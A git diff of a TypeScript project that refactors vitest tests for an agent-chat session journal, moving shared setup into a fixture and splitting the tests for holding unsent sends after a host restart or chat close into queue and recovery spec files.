UNLOADABLE ) diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts new file mode 100644 index 00000000000..8d1155259b2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts @@ -0,0 +1,195 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import type { + AgentMessageSource, + AgentSessionMessageSource +} from '../../../shared/agent-session/agent-session-message-source' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' +import { holdUnsentSends, type UnsentSendHold } from './journal-unsent-send-hold' +import type { AgentSessionJournal } from './journal-store' +import { + closeTestJournalHostDatabases, + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase, + updateTestJournalRowJson +} from './journal-host-database-test-support' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-held', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'claude', + providerHandle: claudeProviderHandle('native-1', null) + } + + const HOST_RESTARTED = agentSessionFailureWords(agentSessionFailureFact('hostRestarted'), { + surface: 'rejection' + }) + + const CHAT_CLOSED = agentSessionFailureWords(agentSessionFailureFact('chatClosed'), { + surface: 'rejection' + }) + + let root: string + + let clock = 1_000 + + let epochs = 0 + + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + function message(text: string): AgentJournalMessageItem { + return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } + } + + function fingerprint(body: AgentJournalMessageItem): string { + return structuredAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: IDENTITY.sessionId, + fields: { body } + }) + } + + async function open(): Promise { + return journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: () => (clock += 1), + mintEpoch: () => `epoch-${(epochs += 1)}` + }) + } + + function hold(journal: AgentSessionJournal, settle: UnsentSendHold = { cause: 'hostRestarted' }) { + return holdUnsentSends(journal, { fence: 0, hold: settle }) + } + + const MAIL_SOURCE: AgentMessageSource = { + kind: 'agent', + senders: [ + { + party: { address: 'agent:coordinator', terminalHandle: null, orcaSessionId: null }, + name: null + } + ], + orchestration: { + message: 'mail-notice', + mailbox: 'agent:worker', + dispatchId: null, + messages: [] + } + } + + async function accept( + journal: AgentSessionJournal, + id: string, + fields: { + body?: AgentJournalMessageItem + origin?: 'client' | 'host' + source?: AgentSessionMessageSource + } = {} + ): Promise { + const body = fields.body ?? message(`text of ${id}`) + await journal.appendSubmission({ + clientMessageId: id, + payloadFingerprint: fingerprint(body), + body, + fence: 0, + handoverRecorded: true, + ...(fields.origin ? { origin: fields.origin } : {}), + ...(fields.source ? { source: fields.source } : {}) + }) + } + + async function afterRestart( + write: (journal: AgentSessionJournal) => Promise + ): Promise { + const earlier = await open() + await write(earlier) + await earlier.close() + return open() + } + + async function storeSubmissionSourceAs( + journal: AgentSessionJournal, + id: string, + source: unknown + ): Promise { + await journal.close() + const seq = journal.submission(id)?.submittedSequence + const { db } = openTestJournalHostDatabase(root) + const stored = liveTestJournalRows(db, IDENTITY.sessionId).find((row) => row.seq === seq) + if (!stored) { + throw new Error(`no stored row for ${id}`) + } + const row: unknown = JSON.parse(stored.rowJson) + updateTestJournalRowJson( + db, + IDENTITY.sessionId, + stored.seq, + JSON.stringify({ ...(typeof row === 'object' ? row : {}), source }) + ) + } + + function cardOrder(journal: AgentSessionJournal): string[] { + return journal.queuedMessages + .list() + .filter((card) => card.state === 'waiting') + .map((card) => card.messageId) + } + + beforeEach(async () => { + epochs = 0 + root = await mkdtemp(join(tmpdir(), 'orca-unsent-hold-')) + }) + + afterEach(async () => { + await journals.closeAll() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) + }) + + return { + CHAT_CLOSED, + HOST_RESTARTED, + IDENTITY, + MAIL_SOURCE, + accept, + afterRestart, + cardOrder, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + get epochs() { + return epochs + }, + set epochs(value: typeof epochs) { + epochs = value + }, + fingerprint, + hold, + journals, + message, + open, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + storeSubmissionSourceAs + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts new file mode 100644 index 00000000000..27ca1cdc49b --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts @@ -0,0 +1,160 @@ +import type { createFixture } from './journal-unsent-send-hold-contract-test-fixture' +import { describe, expect, it } from 'vitest' +import type { AgentJournalSubmission } from '../../../shared/agent-session-journal-types' +import { USER_MESSAGE_SOURCE } from '../../../shared/agent-session/agent-session-message-source' + +export function registerJournalUnsentSendHoldQueueTests( + fixture: ReturnType +): void { + describe('where kept sends go in the queue', () => { + it.each([ + { by: 'Send now', origin: 'client' as const, order: ['A', 'H', 'B', 'C'] }, + { by: 'the queue', origin: 'host' as const, order: ['A', 'B', 'H', 'C'] } + ])( + 'in acceptance order, ahead of the cards already waiting, a hand-off by $by among them', + async ({ origin, order }) => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.queuedMessages.insert({ + messageId: 'H', + body: fixture.message('H') + }) + await earlier.queuedMessages.insert({ + messageId: 'C', + body: fixture.message('C') + }) + await fixture.accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await earlier.appendSubmission( + { + clientMessageId: 'H-handoff', + payloadFingerprint: fixture.fingerprint(fixture.message('H')), + body: fixture.message('H'), + fence: 0, + handoverRecorded: true, + origin + }, + { messageId: 'H', expect: 'waiting' } + ) + await fixture.accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) + }) + await fixture.hold(journal) + + expect(fixture.cardOrder(journal)).toEqual(order) + } + ) + + it('a run a crash cut short is placed again with the rest, in acceptance order', async () => { + const interrupted = await fixture.afterRestart(async (earlier) => { + await earlier.queuedMessages.insert({ + messageId: 'C', + body: fixture.message('C') + }) + await fixture.accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) + }) + // Simulate a crash after keeping A at a stale position but before settling B. + await interrupted.resolveDispatch( + { + clientMessageId: 'A', + state: 'rejected', + ...fixture.HOST_RESTARTED, + fence: 0, + recovered: true, + keptAsQueuedMessageId: 'A' + }, + () => + interrupted.queuedMessages.plan([ + { + messageId: 'A', + change: { + op: 'queued', + body: fixture.message('text of A'), + queuedAt: { + epoch: 'epoch-1', + sequence: interrupted.submission('A')!.acceptedSequence! + }, + position: 5 + } + } + ]) + ) + await interrupted.close() + const journal = await fixture.open() + await fixture.hold(journal) + + expect(fixture.cardOrder(journal)).toEqual(['A', 'B', 'C']) + }) + }) + + describe('a close of the chat', () => { + it('keeps a person’s unsent send in place, rejected as closed, by the same rule as a restart', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(journal, 'mail', { origin: 'host', source: fixture.MAIL_SOURCE }) + await fixture.hold(journal, { cause: 'chatClosed' }) + + expect(fixture.cardOrder(journal)).toEqual(['person']) + expect(journal.queuedMessages.get('person')).toMatchObject({ holdReason: null }) + for (const id of ['person', 'mail']) { + expect(journal.submission(id)).toMatchObject({ + dispatchState: 'rejected', + ...fixture.CHAT_CLOSED + }) + } + }) + + it('settles only what `which` names, leaving a later send queued', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'before', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(journal, 'after', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.hold(journal, { + cause: 'chatClosed', + which: (submission) => submission.clientMessageId === 'before' + }) + + expect(fixture.cardOrder(journal)).toEqual(['before']) + expect(journal.submission('after')?.dispatchState).toBe('pending') + }) + }) + + describe('the order kept cards stand in', () => { + it('a card kept before the epoch rolled stays ahead of one kept after it', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + for (const id of ['m1', 'm2', 'm3']) { + await fixture.accept(earlier, id, { origin: 'host', source: fixture.MAIL_SOURCE }) + } + await fixture.accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) + }) + await fixture.hold(journal) + await journal.rollEpoch('handle_forked', 0) + await fixture.accept(journal, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await journal.close() + const reopened = await fixture.open() + await fixture.hold(reopened) + + expect(reopened.queuedMessages.get('A')?.queuedAt?.epoch).not.toBe( + reopened.queuedMessages.get('B')?.queuedAt?.epoch + ) + expect(fixture.cardOrder(reopened)).toEqual(['A', 'B']) + }) + }) + + describe('the source a send records', () => { + it('is folded from the row; a row without one folds without it', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'with-source', { origin: 'host', source: USER_MESSAGE_SOURCE }) + await fixture.accept(journal, 'without', { origin: 'client' }) + const folded: AgentJournalSubmission | undefined = journal.submission('with-source') + expect(folded?.source).toEqual({ kind: 'user' }) + expect(journal.submission('without')).not.toHaveProperty('source') + }) + + it('keeps only the kind of an agent’s source, never its senders', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'mail', { origin: 'host', source: fixture.MAIL_SOURCE }) + await journal.close() + const reopened = await fixture.open() + expect(reopened.submission('mail')?.source).toEqual({ kind: 'agent' }) + expect(JSON.stringify(reopened.submission('mail'))).not.toContain('agent:coordinator') + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts new file mode 100644 index 00000000000..7b219bb78fc --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts @@ -0,0 +1,176 @@ +import type { createFixture } from './journal-unsent-send-hold-contract-test-fixture' +import { describe, expect, it } from 'vitest' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { USER_MESSAGE_SOURCE } from '../../../shared/agent-session/agent-session-message-source' +import { structuredAgentSessionCompactBody } from '../agent-session-wire/structured-agent-session-command-turn' +import { unsentSendKeptAsCard } from './journal-unsent-send-hold' + +export function registerJournalUnsentSendHoldRecoveryTests( + fixture: ReturnType +): void { + describe('which sends an earlier host process left unsent are kept', () => { + it('keeps a person’s and a launch’s text, and an older build’s client send', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + await fixture.accept(earlier, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(earlier, 'launch', { origin: 'host', source: USER_MESSAGE_SOURCE }) + await fixture.accept(earlier, 'legacy-client', { origin: 'client' }) + }) + await fixture.hold(journal) + + expect(fixture.cardOrder(journal)).toEqual(['person', 'launch', 'legacy-client']) + await journal.close() + const reopened = await fixture.open() + for (const id of ['person', 'launch', 'legacy-client']) { + expect(reopened.submission(id)).toMatchObject({ + dispatchState: 'rejected', + ...fixture.HOST_RESTARTED, + keptAsQueuedMessageId: id + }) + expect(reopened.queuedMessages.get(id)).toMatchObject({ + state: 'waiting', + holdReason: null, + body: fixture.message(`text of ${id}`), + fingerprint: fixture.fingerprint(fixture.message(`text of ${id}`)), + queuedAt: { epoch: 'epoch-1', sequence: reopened.submission(id)?.acceptedSequence } + }) + } + }) + + it('rejects mail, a dispatch preamble, a continuation, /compact, an image, and a send no one can attribute', async () => { + const image: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [ + { type: 'text', text: 'look' }, + { type: 'image-ref', path: '/tmp/attachment.png' } + ] + } + const journal = await fixture.afterRestart(async (earlier) => { + await fixture.accept(earlier, 'mail', { origin: 'host', source: fixture.MAIL_SOURCE }) + await fixture.accept(earlier, 'dispatch', { origin: 'host' }) + await fixture.accept(earlier, 'continuation', { origin: 'host' }) + await fixture.accept(earlier, 'compact', { + origin: 'client', + source: USER_MESSAGE_SOURCE, + body: structuredAgentSessionCompactBody() + }) + await fixture.accept(earlier, 'image', { + origin: 'client', + source: USER_MESSAGE_SOURCE, + body: image + }) + await fixture.accept(earlier, 'legacy-host', { origin: 'host' }) + await fixture.accept(earlier, 'no-origin') + }) + await fixture.hold(journal) + + expect(journal.queuedMessages.list()).toEqual([]) + for (const id of [ + 'mail', + 'dispatch', + 'continuation', + 'compact', + 'image', + 'legacy-host', + 'no-origin' + ]) { + expect(journal.submission(id)).toMatchObject({ + dispatchState: 'rejected', + ...fixture.HOST_RESTARTED + }) + expect(journal.submission(id)).not.toHaveProperty('keptAsQueuedMessageId') + } + }) + + it.each([ + { by: 'Send now', origin: 'client' as const }, + { by: 'the queue', origin: 'host' as const } + ])( + 'a card’s own hand-off by $by returns its card, and makes no second one', + async ({ origin }) => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.queuedMessages.insert({ + messageId: 'card', + body: fixture.message('card text') + }) + await earlier.appendSubmission( + { + clientMessageId: 'handoff', + payloadFingerprint: fixture.fingerprint(fixture.message('card text')), + body: fixture.message('card text'), + fence: 0, + handoverRecorded: true, + origin + }, + { messageId: 'card', expect: 'waiting' } + ) + }) + await fixture.hold(journal) + + expect(journal.queuedMessages.list()).toHaveLength(1) + expect(journal.queuedMessages.get('card')).toMatchObject({ + state: 'waiting', + consumedAs: null, + holdReason: null + }) + expect(journal.queuedMessages.get('handoff')).toBeNull() + } + ) + + it('leaves alone what this process accepted', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'mine', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.hold(journal) + expect(journal.submission('mine')?.dispatchState).toBe('pending') + expect(journal.queuedMessages.list()).toEqual([]) + }) + + it('never keeps a queue hand-off, a card’s link, or a send with no message body', () => { + const body = fixture.message('x') + expect(unsentSendKeptAsCard({ source: USER_MESSAGE_SOURCE }, body)).toBe(body) + expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'agent' } }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: '' } }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'orca' } }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client', queuedMessageId: 'card' }, body)).toBeNull() + expect(unsentSendKeptAsCard({ origin: 'client' }, null)).toBeNull() + }) + + it('never keeps a source kind this build does not know, whatever its origin', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.appendSubmission({ + clientMessageId: 'future', + payloadFingerprint: fixture.fingerprint(fixture.message('from a newer build')), + body: fixture.message('from a newer build'), + fence: 0, + handoverRecorded: true, + origin: 'client', + source: USER_MESSAGE_SOURCE + }) + await fixture.storeSubmissionSourceAs(earlier, 'future', { kind: 'a-newer-kind' }) + }) + expect(journal.submission('future')?.source).toEqual({ kind: 'a-newer-kind' }) + await fixture.hold(journal) + expect(journal.queuedMessages.list()).toEqual([]) + expect(journal.submission('future')).toMatchObject({ dispatchState: 'rejected' }) + }) + + it('never keeps a send whose stored source has no readable kind', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.appendSubmission({ + clientMessageId: 'unreadable', + payloadFingerprint: fixture.fingerprint(fixture.message('unreadable')), + body: fixture.message('unreadable'), + fence: 0, + handoverRecorded: true, + origin: 'client', + source: USER_MESSAGE_SOURCE + }) + await fixture.storeSubmissionSourceAs(earlier, 'unreadable', {}) + }) + expect(journal.submission('unreadable')?.source).toEqual({ kind: '' }) + await fixture.hold(journal) + expect(journal.queuedMessages.list()).toEqual([]) + expect(journal.submission('unreadable')).toMatchObject({ dispatchState: 'rejected' }) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts index 670c42114d5..b898e59cd3c 100644 --- a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold.spec.ts @@ -1,477 +1,9 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import type { - AgentJournalMessageItem, - AgentJournalSubmission, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import { - USER_MESSAGE_SOURCE, - type AgentMessageSource, - type AgentSessionMessageSource -} from '../../../shared/agent-session/agent-session-message-source' -import { agentSessionFailureFact } from '../../../shared/agent-session-failure' -import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' -import { structuredAgentSessionCompactBody } from '../agent-session-wire/structured-agent-session-command-turn' -import { - holdUnsentSends, - unsentSendKeptAsCard, - type UnsentSendHold -} from './journal-unsent-send-hold' -import type { AgentSessionJournal } from './journal-store' -import { - closeTestJournalHostDatabases, - createTrackedJournalOpener, - liveTestJournalRows, - openTestJournalHostDatabase, - updateTestJournalRowJson -} from './journal-host-database-test-support' +import { createFixture } from './journal-unsent-send-hold-contract-test-fixture' +import { registerJournalUnsentSendHoldRecoveryTests } from './journal-unsent-send-hold-recovery.spec' +import { registerJournalUnsentSendHoldQueueTests } from './journal-unsent-send-hold-queue.spec' export function registerJournalUnsentSendHoldTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-held', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'claude', - providerHandle: claudeProviderHandle('native-1', null) - } - const HOST_RESTARTED = agentSessionFailureWords(agentSessionFailureFact('hostRestarted'), { - surface: 'rejection' - }) - const CHAT_CLOSED = agentSessionFailureWords(agentSessionFailureFact('chatClosed'), { - surface: 'rejection' - }) - - let root: string - let clock = 1_000 - let epochs = 0 - const journals = createTrackedJournalOpener() - - function message(text: string): AgentJournalMessageItem { - return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } - } - - function fingerprint(body: AgentJournalMessageItem): string { - return structuredAgentSessionPayloadFingerprint({ - method: 'agentSession.send', - sessionId: IDENTITY.sessionId, - fields: { body } - }) - } - - async function open(): Promise { - return journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: () => (clock += 1), - mintEpoch: () => `epoch-${(epochs += 1)}` - }) - } - - function hold(journal: AgentSessionJournal, settle: UnsentSendHold = { cause: 'hostRestarted' }) { - return holdUnsentSends(journal, { fence: 0, hold: settle }) - } - - const MAIL_SOURCE: AgentMessageSource = { - kind: 'agent', - senders: [ - { - party: { address: 'agent:coordinator', terminalHandle: null, orcaSessionId: null }, - name: null - } - ], - orchestration: { - message: 'mail-notice', - mailbox: 'agent:worker', - dispatchId: null, - messages: [] - } - } - - async function accept( - journal: AgentSessionJournal, - id: string, - fields: { - body?: AgentJournalMessageItem - origin?: 'client' | 'host' - source?: AgentSessionMessageSource - } = {} - ): Promise { - const body = fields.body ?? message(`text of ${id}`) - await journal.appendSubmission({ - clientMessageId: id, - payloadFingerprint: fingerprint(body), - body, - fence: 0, - handoverRecorded: true, - ...(fields.origin ? { origin: fields.origin } : {}), - ...(fields.source ? { source: fields.source } : {}) - }) - } - - async function afterRestart( - write: (journal: AgentSessionJournal) => Promise - ): Promise { - const earlier = await open() - await write(earlier) - await earlier.close() - return open() - } - - function storeSubmissionSourceAs( - journal: AgentSessionJournal, - id: string, - source: unknown - ): void { - const seq = journal.submission(id)?.submittedSequence - const { db } = openTestJournalHostDatabase(root) - const stored = liveTestJournalRows(db, IDENTITY.sessionId).find((row) => row.seq === seq) - if (!stored) { - throw new Error(`no stored row for ${id}`) - } - const row: unknown = JSON.parse(stored.rowJson) - updateTestJournalRowJson( - db, - IDENTITY.sessionId, - stored.seq, - JSON.stringify({ ...(typeof row === 'object' ? row : {}), source }) - ) - } - - function cardOrder(journal: AgentSessionJournal): string[] { - return journal.queuedMessages - .list() - .filter((card) => card.state === 'waiting') - .map((card) => card.messageId) - } - - beforeEach(async () => { - epochs = 0 - root = await mkdtemp(join(tmpdir(), 'orca-unsent-hold-')) - }) - - afterEach(async () => { - await journals.closeAll() - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) - }) - - describe('which sends an earlier host process left unsent are kept', () => { - it('keeps a person’s and a launch’s text, and an older build’s client send', async () => { - const journal = await afterRestart(async (earlier) => { - await accept(earlier, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(earlier, 'launch', { origin: 'host', source: USER_MESSAGE_SOURCE }) - await accept(earlier, 'legacy-client', { origin: 'client' }) - }) - await hold(journal) - - expect(cardOrder(journal)).toEqual(['person', 'launch', 'legacy-client']) - await journal.close() - const reopened = await open() - for (const id of ['person', 'launch', 'legacy-client']) { - expect(reopened.submission(id)).toMatchObject({ - dispatchState: 'rejected', - ...HOST_RESTARTED, - keptAsQueuedMessageId: id - }) - expect(reopened.queuedMessages.get(id)).toMatchObject({ - state: 'waiting', - holdReason: null, - body: message(`text of ${id}`), - fingerprint: fingerprint(message(`text of ${id}`)), - queuedAt: { epoch: 'epoch-1', sequence: reopened.submission(id)?.acceptedSequence } - }) - } - }) - - it('rejects mail, a dispatch preamble, a continuation, /compact, an image, and a send no one can attribute', async () => { - const image: AgentJournalMessageItem = { - kind: 'message', - role: 'user', - blocks: [ - { type: 'text', text: 'look' }, - { type: 'image-ref', path: '/tmp/attachment.png' } - ] - } - const journal = await afterRestart(async (earlier) => { - await accept(earlier, 'mail', { origin: 'host', source: MAIL_SOURCE }) - await accept(earlier, 'dispatch', { origin: 'host' }) - await accept(earlier, 'continuation', { origin: 'host' }) - await accept(earlier, 'compact', { - origin: 'client', - source: USER_MESSAGE_SOURCE, - body: structuredAgentSessionCompactBody() - }) - await accept(earlier, 'image', { - origin: 'client', - source: USER_MESSAGE_SOURCE, - body: image - }) - await accept(earlier, 'legacy-host', { origin: 'host' }) - await accept(earlier, 'no-origin') - }) - await hold(journal) - - expect(journal.queuedMessages.list()).toEqual([]) - for (const id of [ - 'mail', - 'dispatch', - 'continuation', - 'compact', - 'image', - 'legacy-host', - 'no-origin' - ]) { - expect(journal.submission(id)).toMatchObject({ - dispatchState: 'rejected', - ...HOST_RESTARTED - }) - expect(journal.submission(id)).not.toHaveProperty('keptAsQueuedMessageId') - } - }) - - it.each([ - { by: 'Send now', origin: 'client' as const }, - { by: 'the queue', origin: 'host' as const } - ])( - 'a card’s own hand-off by $by returns its card, and makes no second one', - async ({ origin }) => { - const journal = await afterRestart(async (earlier) => { - await earlier.queuedMessages.insert({ - messageId: 'card', - body: message('card text') - }) - await earlier.appendSubmission( - { - clientMessageId: 'handoff', - payloadFingerprint: fingerprint(message('card text')), - body: message('card text'), - fence: 0, - handoverRecorded: true, - origin - }, - { messageId: 'card', expect: 'waiting' } - ) - }) - await hold(journal) - - expect(journal.queuedMessages.list()).toHaveLength(1) - expect(journal.queuedMessages.get('card')).toMatchObject({ - state: 'waiting', - consumedAs: null, - holdReason: null - }) - expect(journal.queuedMessages.get('handoff')).toBeNull() - } - ) - - it('leaves alone what this process accepted', async () => { - const journal = await open() - await accept(journal, 'mine', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await hold(journal) - expect(journal.submission('mine')?.dispatchState).toBe('pending') - expect(journal.queuedMessages.list()).toEqual([]) - }) - - it('never keeps a queue hand-off, a card’s link, or a send with no message body', () => { - const body = message('x') - expect(unsentSendKeptAsCard({ source: USER_MESSAGE_SOURCE }, body)).toBe(body) - expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'agent' } }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: '' } }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client', source: { kind: 'orca' } }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client', queuedMessageId: 'card' }, body)).toBeNull() - expect(unsentSendKeptAsCard({ origin: 'client' }, null)).toBeNull() - }) - - it('never keeps a source kind this build does not know, whatever its origin', async () => { - const journal = await afterRestart(async (earlier) => { - await earlier.appendSubmission({ - clientMessageId: 'future', - payloadFingerprint: fingerprint(message('from a newer build')), - body: message('from a newer build'), - fence: 0, - handoverRecorded: true, - origin: 'client', - source: USER_MESSAGE_SOURCE - }) - storeSubmissionSourceAs(earlier, 'future', { kind: 'a-newer-kind' }) - }) - expect(journal.submission('future')?.source).toEqual({ kind: 'a-newer-kind' }) - await hold(journal) - expect(journal.queuedMessages.list()).toEqual([]) - expect(journal.submission('future')).toMatchObject({ dispatchState: 'rejected' }) - }) - - it('never keeps a send whose stored source has no readable kind', async () => { - const journal = await afterRestart(async (earlier) => { - await earlier.appendSubmission({ - clientMessageId: 'unreadable', - payloadFingerprint: fingerprint(message('unreadable')), - body: message('unreadable'), - fence: 0, - handoverRecorded: true, - origin: 'client', - source: USER_MESSAGE_SOURCE - }) - storeSubmissionSourceAs(earlier, 'unreadable', {}) - }) - expect(journal.submission('unreadable')?.source).toEqual({ kind: '' }) - await hold(journal) - expect(journal.queuedMessages.list()).toEqual([]) - expect(journal.submission('unreadable')).toMatchObject({ dispatchState: 'rejected' }) - }) - }) - - describe('where kept sends go in the queue', () => { - it.each([ - { by: 'Send now', origin: 'client' as const, order: ['A', 'H', 'B', 'C'] }, - { by: 'the queue', origin: 'host' as const, order: ['A', 'B', 'H', 'C'] } - ])( - 'in acceptance order, ahead of the cards already waiting, a hand-off by $by among them', - async ({ origin, order }) => { - const journal = await afterRestart(async (earlier) => { - await earlier.queuedMessages.insert({ - messageId: 'H', - body: message('H') - }) - await earlier.queuedMessages.insert({ - messageId: 'C', - body: message('C') - }) - await accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await earlier.appendSubmission( - { - clientMessageId: 'H-handoff', - payloadFingerprint: fingerprint(message('H')), - body: message('H'), - fence: 0, - handoverRecorded: true, - origin - }, - { messageId: 'H', expect: 'waiting' } - ) - await accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) - }) - await hold(journal) - - expect(cardOrder(journal)).toEqual(order) - } - ) - - it('a run a crash cut short is placed again with the rest, in acceptance order', async () => { - const interrupted = await afterRestart(async (earlier) => { - await earlier.queuedMessages.insert({ - messageId: 'C', - body: message('C') - }) - await accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) - }) - // Simulate a crash after keeping A at a stale position but before settling B. - await interrupted.resolveDispatch( - { - clientMessageId: 'A', - state: 'rejected', - ...HOST_RESTARTED, - fence: 0, - recovered: true, - keptAsQueuedMessageId: 'A' - }, - () => - interrupted.queuedMessages.plan([ - { - messageId: 'A', - change: { - op: 'queued', - body: message('text of A'), - queuedAt: { - epoch: 'epoch-1', - sequence: interrupted.submission('A')!.acceptedSequence! - }, - position: 5 - } - } - ]) - ) - await interrupted.close() - const journal = await open() - await hold(journal) - - expect(cardOrder(journal)).toEqual(['A', 'B', 'C']) - }) - }) - - describe('a close of the chat', () => { - it('keeps a person’s unsent send in place, rejected as closed, by the same rule as a restart', async () => { - const journal = await open() - await accept(journal, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(journal, 'mail', { origin: 'host', source: MAIL_SOURCE }) - await hold(journal, { cause: 'chatClosed' }) - - expect(cardOrder(journal)).toEqual(['person']) - expect(journal.queuedMessages.get('person')).toMatchObject({ holdReason: null }) - for (const id of ['person', 'mail']) { - expect(journal.submission(id)).toMatchObject({ dispatchState: 'rejected', ...CHAT_CLOSED }) - } - }) - - it('settles only what `which` names, leaving a later send queued', async () => { - const journal = await open() - await accept(journal, 'before', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await accept(journal, 'after', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await hold(journal, { - cause: 'chatClosed', - which: (submission) => submission.clientMessageId === 'before' - }) - - expect(cardOrder(journal)).toEqual(['before']) - expect(journal.submission('after')?.dispatchState).toBe('pending') - }) - }) - - describe('the order kept cards stand in', () => { - it('a card kept before the epoch rolled stays ahead of one kept after it', async () => { - const journal = await afterRestart(async (earlier) => { - for (const id of ['m1', 'm2', 'm3']) { - await accept(earlier, id, { origin: 'host', source: MAIL_SOURCE }) - } - await accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) - }) - await hold(journal) - await journal.rollEpoch('handle_forked', 0) - await accept(journal, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) - await journal.close() - const reopened = await open() - await hold(reopened) - - expect(reopened.queuedMessages.get('A')?.queuedAt?.epoch).not.toBe( - reopened.queuedMessages.get('B')?.queuedAt?.epoch - ) - expect(cardOrder(reopened)).toEqual(['A', 'B']) - }) - }) - - describe('the source a send records', () => { - it('is folded from the row; a row without one folds without it', async () => { - const journal = await open() - await accept(journal, 'with-source', { origin: 'host', source: USER_MESSAGE_SOURCE }) - await accept(journal, 'without', { origin: 'client' }) - const folded: AgentJournalSubmission | undefined = journal.submission('with-source') - expect(folded?.source).toEqual({ kind: 'user' }) - expect(journal.submission('without')).not.toHaveProperty('source') - }) - - it('keeps only the kind of an agent’s source, never its senders', async () => { - const journal = await open() - await accept(journal, 'mail', { origin: 'host', source: MAIL_SOURCE }) - await journal.close() - const reopened = await open() - expect(reopened.submission('mail')?.source).toEqual({ kind: 'agent' }) - 